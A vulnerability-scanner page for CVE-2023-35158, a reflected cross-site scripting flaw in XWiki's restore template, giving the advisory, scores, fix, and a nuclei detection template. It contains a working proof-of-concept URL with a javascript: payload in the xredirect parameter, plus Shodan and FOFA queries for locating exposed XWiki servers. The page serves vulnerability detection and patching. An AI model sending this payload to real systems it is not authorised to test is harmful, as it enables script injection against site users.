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CVE-2023-35158· xwiki / xwiki· CWE-87

XWiki - Cross-Site Scripting

mediumseverity
6.1CVSS score
2%likelihood of exploitation, next 30 days
81%of all CVEs are less likely
Readycheck to confirm it

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS). It's possible to exploit the restore template to perform a XSS, e.g. by using URL such as: > /xwiki/bin/view/XWiki/Main?xpage=restore&showBatch=true&xredirect=javascript:alert(document.domain). This vulnerability exists since XWiki 9.4-rc-1. The vulnerability has been patched in XWiki 14.10.5 and 15.1-rc-1.

Impact

Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.

Fix

Update XWiki to the latest version to mitigate the Reflected XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/xwiki/bin/view/XWiki/Main?xpage=restore&showBatch=true&xredirect=javascript:alert(document.domain)
Positive when: contains(body, "href=\"javascript:alert(document.domain)\">Cancel</a>") and contains(header, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-35158 -u <target>

The full check
id: CVE-2023-35158

info:
  name: XWiki - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS). It's possible to exploit the restore template to perform a XSS, e.g. by using URL such as: > /xwiki/bin/view/XWiki/Main?xpage=restore&showBatch=true&xredirect=javascript:alert(document.domain). This vulnerability exists since XWiki 9.4-rc-1. The vulnerability has been patched in XWiki 14.10.5 and 15.1-rc-1.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Update XWiki to the latest version to mitigate the Reflected XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35158
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-35158
    cwe-id: CWE-87
    epss-score: 0.02048
    epss-percentile: 0.81381
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: xwiki
    product: xwiki
    shodan-query:
      - "XWiki"
      - xwiki
      - http.html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2023,xwiki,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/view/XWiki/Main?xpage=restore&showBatch=true&xredirect=javascript:alert(document.domain)"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "href=\"javascript:alert(document.domain)\">Cancel</a>")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from